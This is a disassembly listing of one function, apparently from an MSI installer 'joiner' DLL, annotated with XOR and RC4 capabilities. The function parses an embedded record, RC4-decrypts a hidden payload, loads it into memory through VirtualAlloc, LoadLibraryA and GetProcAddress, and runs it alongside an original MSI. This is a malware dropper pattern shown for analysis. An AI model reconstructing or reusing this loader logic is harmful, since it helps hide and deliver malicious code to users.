Function at 0x10008ad0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x1004e040]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [edx]
push ebx
push esi
mov esi, ecx
push edi
cmp eax, 2
jne 0x10008b52
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov dword [ebp - 0x118], 0x57
call fcn.10008190
movq xmm0, qword [ebp - 0x11c]
sub esp, 8
mov ecx, dword [eax + 0x114]
mov eax, esp
push 4
sub esp, 0xc
mov dword [eax], str.Unknow_payload.
mov dword [eax + 4], 0xf
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], str.process_file
call fcn.10006bf0
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1001f73e
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x10009025
call fcn.10008190
push 0x37
push str.Processing_FileId::Payload_binary._Size:_._Path:_
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov ecx, dword [eax + 0x114]
lea eax, [ebp + 8]
push eax
sub esp, 0x10
mov dword [ebp - 0x118], 0x5c
movq xmm0, qword [ebp - 0x11c]
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], str.process_file
call fcn.10014680
mov edx, dword [ebp + 8]
cmp edx, 4
jb 0x10008ff3
mov eax, dword [esi]
mov ecx, 4
mov dword [ebp - 0x138], eax
lea eax, [edx - 4]
cmp eax, ecx
jb 0x10008fbb
mov eax, dword [ecx + esi]
mov dword [ebp - 0x134], eax
lea eax, [edx - 8]
cmp eax, ecx
jb 0x10008f83
lea eax, [edx - 0xc]
cmp eax, ecx
jb 0x10008f4b
mov edi, 0x10
mov eax, edx
sub eax, edi
cmp eax, ecx
jb 0x10008f13
mov edi, dword [edi + esi]
mov ecx, 0x14
mov eax, edx
sub eax, ecx
cmp eax, edi
jb 0x10008f13
lea eax, [ecx + esi]
add ecx, edi
mov dword [ebp - 0x128], eax
mov eax, edx
sub eax, ecx
cmp eax, 4
jb 0x10008ee1
mov eax, dword [ecx + esi]
add ecx, 4
sub edx, ecx
mov dword [ebp - 0x130], eax
cmp edx, eax
jb 0x10008ee1
add ecx, esi
mov dword [ebp - 0x12c], ecx
je 0x10008ebc
test eax, eax
je 0x10008ebc
mov ecx, dword [ebp - 0x128]
test ecx, ecx
je 0x10008ebc
test edi, edi
je 0x10008ebc
xor bh, bh
xor eax, eax
mov byte [ebp - 0x10d], bh
mov byte [ebp - 0x10e], bh
nop dword [eax]
nop dword [eax + eax]
mov byte [ebp + eax - 0x10c], al
inc eax
cmp eax, 0x100
jb 0x10008c80
xor esi, esi
mov eax, esi
mov bl, byte [ebp + esi - 0x10c]
xor edx, edx
div edi
movzx eax, byte [edx + ecx]
lea ecx, [ebp - 0x10c]
add al, bl
add bh, al
movzx eax, bh
add ecx, eax
movzx eax, byte [ecx]
mov byte [ebp + esi - 0x10c], al
inc esi
mov byte [ecx], bl
mov ecx, dword [ebp - 0x128]
cmp esi, 0x100
jb 0x10008c91
mov ebx, dword [ebp - 0x130]
xor edi, edi
test ebx, ebx
je 0x10008d3c
nop dword [eax + eax]
mov al, byte [ebp - 0x10d]
lea esi, [ebp - 0x10c]
inc al
lea ecx, [ebp - 0x10c]
mov byte [ebp - 0x10d], al
movzx eax, al
add esi, eax
mov al, byte [ebp - 0x10e]
mov dl, byte [esi]
add al, dl
mov byte [ebp - 0x10e], al
movzx eax, al
add ecx, eax
movzx eax, byte [ecx]
mov byte [esi], al
mov byte [ecx], dl
movzx eax, byte [esi]
movzx ecx, dl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x12c]
movzx eax, byte [ebp + eax - 0x10c]
xor byte [ecx + edi], al
inc edi
cmp edi, ebx
jb 0x10008ce0
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov dword [ebp - 0x118], 0x8c
call fcn.10008190
movq xmm0, qword [ebp - 0x11c]
push 0x1c
push str.Sleep._before:___after:_
mov ecx, dword [eax + 0x114]
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x138]
push eax
sub esp, 0x10
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], str.process_file
call fcn.100149d0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x124]
mov edx, dword [ebp - 0x12c]
xorps xmm0, xmm0
mov dword [ebp - 0x118], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x11c], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x114], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x124], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x120], eax
lea eax, [ebp - 0x148]
push eax
push ebx
movups xmmword [ebp - 0x148], xmm0
call fcn.1001e900
add esp, 8
test eax, eax
jne 0x10008e59
sub esp, 8
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov eax, esp
mov dword [ebp - 0x118], 0xa7
mov dword [eax], str.Loader_LoadFromBuffer_ok.
mov dword [eax + 4], 0x19
call fcn.10008190
movq xmm0, qword [ebp - 0x11c]
push 1
sub esp, 0xc
mov ecx, dword [eax + 0x114]
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], str.process_file
call fcn.10006bf0
mov ecx, dword [ebp - 0x148]
test ecx, ecx
je 0x10008e59
mov eax, dword [ebp - 0x144]
test eax, eax
je 0x10008e59
push 0
push 1
push ecx
call eax
sub esp, 8
mov eax, esp
mov dword [eax], str.Payload_run_ok.
mov dword [eax + 4], 0xf
call fcn.10008190
mov dword [ebp - 0x118], 0xb1
push 1
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov ecx, dword [eax + 0x114]
movq xmm0, qword [ebp - 0x11c]
sub esp, 0xc
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], str.process_file
call fcn.10006bf0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1001f73e
mov esp, ebp
pop ebp
ret
sub esp, 8
mov eax, esp
mov dword [eax], str.LoaderDecryptData_fail.
mov dword [eax + 4], 0x17
call fcn.10008190
mov dword [ebp - 0x118], 0x88
push 4
jmp 0x10008e7c
sub esp, 8
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov eax, esp
mov dword [ebp - 0x118], 0x82
mov dword [eax], str.read_byte_array_payload_fail.
mov dword [eax + 4], 0x1d
call fcn.10008190
push 4
jmp 0x10008e86
call fcn.10008190
sub esp, 8
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov dword [ebp - 0x118], 0x7c
mov ecx, dword [eax + 0x114]
mov eax, esp
push 4
mov dword [eax], str.read_byte_array_key_fail.
mov dword [eax + 4], 0x19
jmp 0x10008e8c
call fcn.10008190
sub esp, 8
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov dword [ebp - 0x118], 0x76
mov ecx, dword [eax + 0x114]
mov eax, esp
push 4
mov dword [eax], str.read_uint32_encryptedHash__fail.
mov dword [eax + 4], 0x20
jmp 0x10008e8c
call fcn.10008190
sub esp, 8
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov dword [ebp - 0x118], 0x71
mov ecx, dword [eax + 0x114]
mov eax, esp
push 4
mov dword [eax], str.read_uint32_originalHash__fail.
mov dword [eax + 4], 0x1f
jmp 0x10008e8c
call fcn.10008190
sub esp, 8
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov dword [ebp - 0x118], 0x6b
mov ecx, dword [eax + 0x114]
mov eax, esp
push 4
mov dword [eax], str.read_uint32_sleepAfterRunPayload__fail.
mov dword [eax + 4], 0x27
jmp 0x10008e8c
sub esp, 8
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov eax, esp
mov dword [ebp - 0x118], 0x66
mov dword [eax], str.read_uint32_sleepBeforeRunPayload__fail.
mov dword [eax + 4], 0x28
call fcn.10008190
push 4
jmp 0x10008e86
test eax, eax
jne 0x10009070
call fcn.10008190
push 0x31
push str.Processing_FileId::OriginalMsi_binary._Size:_
mov dword [ebp - 0x11c], str.B:disk17joiner_srccustom_actionCustomAction.cpp
mov ecx, dword [eax + 0x114]
lea eax, [ebp + 8]
push eax
sub esp, 0x10
mov dword [ebp - 0x118], 0xb5
movq xmm0, qword [ebp - 0x11c]
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], str.process_file
call fcn.10014680
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001f73e
mov esp, ebp
pop ebp
ret